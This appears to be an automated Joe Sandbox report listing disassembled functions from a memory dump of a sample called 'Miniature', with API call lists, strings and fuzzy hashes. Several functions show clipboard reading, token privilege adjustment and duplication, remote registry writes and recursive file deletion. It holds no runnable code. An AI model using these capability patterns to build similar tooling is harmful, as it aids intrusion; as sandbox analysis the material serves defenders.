Function 00FF394D Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF384C: SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000001,00000000,00000000,00FF3959,00000000,00000000,?,00FE05DB,01048070,00000002,?,?), ref: 00FF38CA

WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,?,00FE05DB,01048070,00000002,?,?,?,00000000), ref: 00FF3967

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: 6d6c8918516e259e9d3b5f59329ee0298dba35f166950c1720ce9ce471386a20
Instruction ID: 587cdaf7e4ac64e38697859c08f445b8a5add5fbdb39d1cf010d99ecaef9b8d1
Opcode Fuzzy Hash: 6d6c8918516e259e9d3b5f59329ee0298dba35f166950c1720ce9ce471386a20
Instruction Fuzzy Hash: A9E04636400208BBDB20AF94D801A9ABBBCEF04320F10465AFD4092111DBB6AE24ABA0

Function 00FF3EF7 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00FF3E7D,?,?,?), ref: 00FF3F0D

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 9483694ae17ce975819d3b747d93a2d9ffedeef00a64315958ece3f0f7767782
Instruction ID: da4fd54524c211bd69526c156eb1a8d923ca62990e71307510a13c9440d2016b
Opcode Fuzzy Hash: 9483694ae17ce975819d3b747d93a2d9ffedeef00a64315958ece3f0f7767782
Instruction Fuzzy Hash: 7AD0A7315E020CBBEF60DEA0CC02F68B7ACE702706F2002A4F504D90D0DA7669189795

Function 00FA42AE Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00FE06E6,00000000,00000000,00000000), ref: 00FA42BF

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3165410b31fa46077bb985a5696efa3101b0d98857a5293ed0ac99d7833ac51a
Instruction ID: 6acc08737a756962760a242505e6517bc31a0a985fc237f8e1b6d94a4b7f07cd
Opcode Fuzzy Hash: 3165410b31fa46077bb985a5696efa3101b0d98857a5293ed0ac99d7833ac51a
Instruction Fuzzy Hash: 3BD0C77464030CBFE710CB80DC46FA9777CE705710F200194FD0466294D6B27D508795

Function 00FF4FEC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00FF3BFE), ref: 00FF4FED

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 3a7db38067a16e24088e1b43d4613a213c4c9b64bc8be54c62d549f6848ef7c9
Instruction ID: 04341dc635eb67b4cbf0e0e6bd811e31a4dbf16466d40b24d71e0ccba6f4ddab
Opcode Fuzzy Hash: 3a7db38067a16e24088e1b43d4613a213c4c9b64bc8be54c62d549f6848ef7c9
Instruction Fuzzy Hash: 63B09234400705569D381E3C154C0AA33015C423B97F81B81E5BC868F5A23AA84BB620

Function 00FB547B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00FB5486

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 9708698f8020037b0def542b205f19d2fde21a0cacdb72d14643b01ede2c1018
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 21B09B7544010C77CE011942EC03B553B195740664F404010FB0C1C161A57795605585

Function 00FFD6BE Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 00FFD842

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: d6db694934135f7d3be9c66ae686502ed8985f26facd5409eabbf77fba27269b
Instruction ID: 89489c1a94264c29d59dc29bb3860617a1e09b69f25b264b13e7e8b7f1533a61
Opcode Fuzzy Hash: d6db694934135f7d3be9c66ae686502ed8985f26facd5409eabbf77fba27269b
Instruction Fuzzy Hash: 2971B3716083068FC714EF64C891AAEB7E1BF85354F04462DF5968B3A2DB34ED05EB52

Function 00FFC270 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00FF4005: FindFirstFileW.KERNEL32(?,?), ref: 00FF407C
Part of subcall function 00FF4005: DeleteFileW.KERNEL32(?,?,?,?), ref: 00FF40CC
Part of subcall function 00FF4005: FindNextFileW.KERNELBASE(00000000,00000010), ref: 00FF40DD
Part of subcall function 00FF4005: FindClose.KERNEL32(00000000), ref: 00FF40F4

GetLastError.KERNEL32 ref: 00FFC292

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: FileFind$CloseDeleteErrorFirstLastNext
String ID:
API String ID: 2191629493-0
Opcode ID: 7981d7dcaa0e8a464915aeb21a90ef2d6d80eaca33e6619a0dd4f854a397b9d0
Instruction ID: f556d3bca8e6e3fc455f86c67d34d910b757629414e382842b1ae28e3022bc8b
Opcode Fuzzy Hash: 7981d7dcaa0e8a464915aeb21a90ef2d6d80eaca33e6619a0dd4f854a397b9d0
Instruction Fuzzy Hash: 39F082352102144FDB10EF59D840F6AB7E5AF54320F058059F9458B351CB78BC02DB94

Function 00FA42CF Relevance: 1.3, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,00000000,00FD2F8B), ref: 00FA42EF

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 5f766b1a904135e3affefdf273255a7d0f74608e982558a1a3801e6807a0a771
Instruction ID: 14969572d1261b28b7d66bd2a8b986286638ae43aec2e48a898c4e5962a41b2e
Opcode Fuzzy Hash: 5f766b1a904135e3affefdf273255a7d0f74608e982558a1a3801e6807a0a771
Instruction Fuzzy Hash: 4AE0BFB5440701CFC3314F1AD404512FBF4FFD53713214A2EE0E692564D3B06495DB50

Non-executed Functions

Function 0101D164 Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00F929E2: GetWindowLongW.USER32(?,000000EB), ref: 00F929F3

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0101D208
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0101D249
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 0101D28E
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0101D2B8
SendMessageW.USER32 ref: 0101D2E1
_wcsncpy.LIBCMT ref: 0101D359
GetKeyState.USER32(00000011), ref: 0101D37A
GetKeyState.USER32(00000009), ref: 0101D387
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0101D39D
GetKeyState.USER32(00000010), ref: 0101D3A7
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0101D3D0
SendMessageW.USER32 ref: 0101D3F7
SendMessageW.USER32(?,00001030,?,0101B9BA), ref: 0101D4FD
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0101D513
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0101D526
SetCapture.USER32(?), ref: 0101D52F
ClientToScreen.USER32(?,?), ref: 0101D594
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0101D5A1
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0101D5BB
ReleaseCapture.USER32 ref: 0101D5C6
GetCursorPos.USER32(?), ref: 0101D600
ScreenToClient.USER32(?,?), ref: 0101D60D
SendMessageW.USER32(?,00001012,00000000,?), ref: 0101D669
SendMessageW.USER32 ref: 0101D697
SendMessageW.USER32(?,00001111,00000000,?), ref: 0101D6D4
SendMessageW.USER32 ref: 0101D703
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0101D724
SendMessageW.USER32(?,0000110B,00000009,?), ref: 0101D733
GetCursorPos.USER32(?), ref: 0101D753
ScreenToClient.USER32(?,?), ref: 0101D760
GetParent.USER32(?), ref: 0101D780
SendMessageW.USER32(?,00001012,00000000,?), ref: 0101D7E9
SendMessageW.USER32 ref: 0101D81A
ClientToScreen.USER32(?,?), ref: 0101D878
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0101D8A8
SendMessageW.USER32(?,00001111,00000000,?), ref: 0101D8D2
SendMessageW.USER32 ref: 0101D8F5
ClientToScreen.USER32(?,?), ref: 0101D947
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0101D97B

Part of subcall function 00F929AB: GetWindowLongW.USER32(?,000000EB), ref: 00F929BC

GetWindowLongW.USER32(?,000000F0), ref: 0101DA17

Strings

@GUI_DRAGID, xrefs: 0101D562
F, xrefs: 0101D8FB

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: 27fccca18d57eca30c53b676bb601078656f408af01836d77c0e114d7b918dab
Instruction ID: 84a93a8fd3fe0574d556ffc9b1b719bfc730a2a8d14e59ee3aa011511814195c
Opcode Fuzzy Hash: 27fccca18d57eca30c53b676bb601078656f408af01836d77c0e114d7b918dab
Instruction Fuzzy Hash: 6642AC35204341AFDB71CFA8C848BAABFE5FF48310F140659F6D5872A9C77A9848DB91

Function 00FE8F2E Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00FE9399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00FE93E3
Part of subcall function 00FE9399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00FE9410
Part of subcall function 00FE9399: GetLastError.KERNEL32 ref: 00FE941D

_memset.LIBCMT ref: 00FE8F71
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00FE8FC3
CloseHandle.KERNEL32(?), ref: 00FE8FD4
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00FE8FEB
GetProcessWindowStation.USER32 ref: 00FE9004
SetProcessWindowStation.USER32(00000000), ref: 00FE900E
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00FE9028

Part of subcall function 00FE8DE9: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00FE8F27), ref: 00FE8DFE
Part of subcall function 00FE8DE9: CloseHandle.KERNEL32(?,?,00FE8F27), ref: 00FE8E10

Strings

, xrefs: 00FE8F80
winsta0, xrefs: 00FE8FE6
default, xrefs: 00FE9023

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: b44e7d356d7acf52d269ef376d516bd976d908343789ebe4cea4eac60f3deb6c
Instruction ID: db875990018bdf11279b666b8f763a4575e7bbbf2d86d2d967fe267f79885fb6
Opcode Fuzzy Hash: b44e7d356d7acf52d269ef376d516bd976d908343789ebe4cea4eac60f3deb6c
Instruction Fuzzy Hash: A181ADB1D04289BFDF219FA1CC49AEE7B79FF08314F144119F954A2264D77A8E05EB60

Function 01004632 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(01020980), ref: 0100465C
IsClipboardFormatAvailable.USER32(0000000D), ref: 0100466A
GetClipboardData.USER32(0000000D), ref: 01004672
CloseClipboard.USER32 ref: 0100467E
GlobalLock.KERNEL32(00000000), ref: 0100469A
CloseClipboard.USER32 ref: 010046A4
GlobalUnlock.KERNEL32(00000000), ref: 010046B9
IsClipboardFormatAvailable.USER32(00000001), ref: 010046C6
GetClipboardData.USER32(00000001), ref: 010046CE
GlobalLock.KERNEL32(00000000), ref: 010046DB
GlobalUnlock.KERNEL32(00000000), ref: 0100470F
CloseClipboard.USER32 ref: 0100481F

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: defc22f8540c97108ded3984bb19e366294e65232f7992a972256ad9f7e4a378
Instruction ID: b6986a8c9d4f5d0e119416f757dd40482d88bf6b608100d117d139abc132be59
Opcode Fuzzy Hash: defc22f8540c97108ded3984bb19e366294e65232f7992a972256ad9f7e4a378
Instruction Fuzzy Hash: F451E171204301ABE321EF64DC89F6E77A8AF88B10F10452AF6C6D21D5EF79D905CB66

Function 00FFCD9F Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00FFCDD0
FindClose.KERNEL32(00000000), ref: 00FFCE24
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00FFCE49
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00FFCE60
FileTimeToSystemTime.KERNEL32(?,?), ref: 00FFCE87
__swprintf.LIBCMT ref: 00FFCED3
__swprintf.LIBCMT ref: 00FFCF16

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

__swprintf.LIBCMT ref: 00FFCF6A

Part of subcall function 00FB38C8: __woutput_l.LIBCMT ref: 00FB3921

__swprintf.LIBCMT ref: 00FFCFB8

Part of subcall function 00FB38C8: __flsbuf.LIBCMT ref: 00FB3943
Part of subcall function 00FB38C8: __flsbuf.LIBCMT ref: 00FB395B

__swprintf.LIBCMT ref: 00FFD007
__swprintf.LIBCMT ref: 00FFD056
__swprintf.LIBCMT ref: 00FFD0A5

Strings

%4d, xrefs: 00FFCF10
%02d, xrefs: 00FFCF5E, 00FFCF68, 00FFCFB6, 00FFD005, 00FFD054, 00FFD0A3
%4d%02d%02d%02d%02d%02d, xrefs: 00FFCECD

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 8da897b1b944882c718c2cd82aa8c712e3ef6151fc5d38ec54053f05afda250a
Instruction ID: 2429d408216c3025664b2a17400767bea4d5f7cb1683bf68e9a953e73ad453df
Opcode Fuzzy Hash: 8da897b1b944882c718c2cd82aa8c712e3ef6151fc5d38ec54053f05afda250a
Instruction Fuzzy Hash: C3A13EB2404305ABD710EFA4DD85DAFB7ECBF95704F400919F585C6191EB38EA09DBA2

Function 00FFF5D8 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00FFF5F9
_wcscmp.LIBCMT ref: 00FFF60E
_wcscmp.LIBCMT ref: 00FFF625
GetFileAttributesW.KERNEL32(?), ref: 00FFF637
SetFileAttributesW.KERNEL32(?,?), ref: 00FFF651
FindNextFileW.KERNEL32(00000000,?), ref: 00FFF669
FindClose.KERNEL32(00000000), ref: 00FFF674
FindFirstFileW.KERNEL32(*.*,?), ref: 00FFF690
_wcscmp.LIBCMT ref: 00FFF6B7
_wcscmp.LIBCMT ref: 00FFF6CE
SetCurrentDirectoryW.KERNEL32(?), ref: 00FFF6E0
SetCurrentDirectoryW.KERNEL32(0104B578), ref: 00FFF6FE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00FFF708
FindClose.KERNEL32(00000000), ref: 00FFF715
FindClose.KERNEL32(00000000), ref: 00FFF727

Strings

*.*, xrefs: 00FFF68B

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 2b1647604e4c18ac04ab65b09816e13ec24d4c49d9fb14793e7b7578e7e68d6b
Instruction ID: ca205609782d4a1d5934bd3c8b75217ade06a149fa95b77cb92cddcbe83cafed
Opcode Fuzzy Hash: 2b1647604e4c18ac04ab65b09816e13ec24d4c49d9fb14793e7b7578e7e68d6b
Instruction Fuzzy Hash: D831D872A4031DABDB20AEB5DC49AEEB7AC9F09331F200165F944D21A4DF75DA48DF60

Function 01010EB7 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 01010FB3
RegCreateKeyExW.ADVAPI32(?,?,00000000,01020980,00000000,?,00000000,?,?), ref: 01011021
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 01011069
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 010110F2
RegCloseKey.ADVAPI32(?), ref: 01011412
RegCloseKey.ADVAPI32(00000000), ref: 0101141F

Strings

REG_BINARY, xrefs: 010113AD
REG_EXPAND_SZ, xrefs: 0101108F
REG_QWORD, xrefs: 01011360
REG_SZ, xrefs: 01011130
REG_DWORD, xrefs: 010112E3
REG_MULTI_SZ, xrefs: 010111DA

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: b20272a7089282d403d007371c272b627cdce278224470034a25e2ede0042c24
Instruction ID: abd2b269a6b5cdbe90083003e5c8e703b61be6c7c2d0c3acc7b26b99e6a951ee
Opcode Fuzzy Hash: b20272a7089282d403d007371c272b627cdce278224470034a25e2ede0042c24
Instruction Fuzzy Hash: 10027B752006019FDB15EF29C881E6AB7E5FF89714F04855DF9899B361DB38EC06CB81

Function 00FFF735 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00FFF756
_wcscmp.LIBCMT ref: 00FFF76B
_wcscmp.LIBCMT ref: 00FFF782

Part of subcall function 00FF4875: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00FF4890

FindNextFileW.KERNEL32(00000000,?), ref: 00FFF7B1
FindClose.KERNEL32(00000000), ref: 00FFF7BC
FindFirstFileW.KERNEL32(*.*,?), ref: 00FFF7D8
_wcscmp.LIBCMT ref: 00FFF7FF
_wcscmp.LIBCMT ref: 00FFF816
SetCurrentDirectoryW.KERNEL32(?), ref: 00FFF828
SetCurrentDirectoryW.KERNEL32(0104B578), ref: 00FFF846
FindNextFileW.KERNEL32(00000000,00000010), ref: 00FFF850
FindClose.KERNEL32(00000000), ref: 00FFF85D
FindClose.KERNEL32(00000000), ref: 00FFF86F

Strings

*.*, xrefs: 00FFF7D3

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
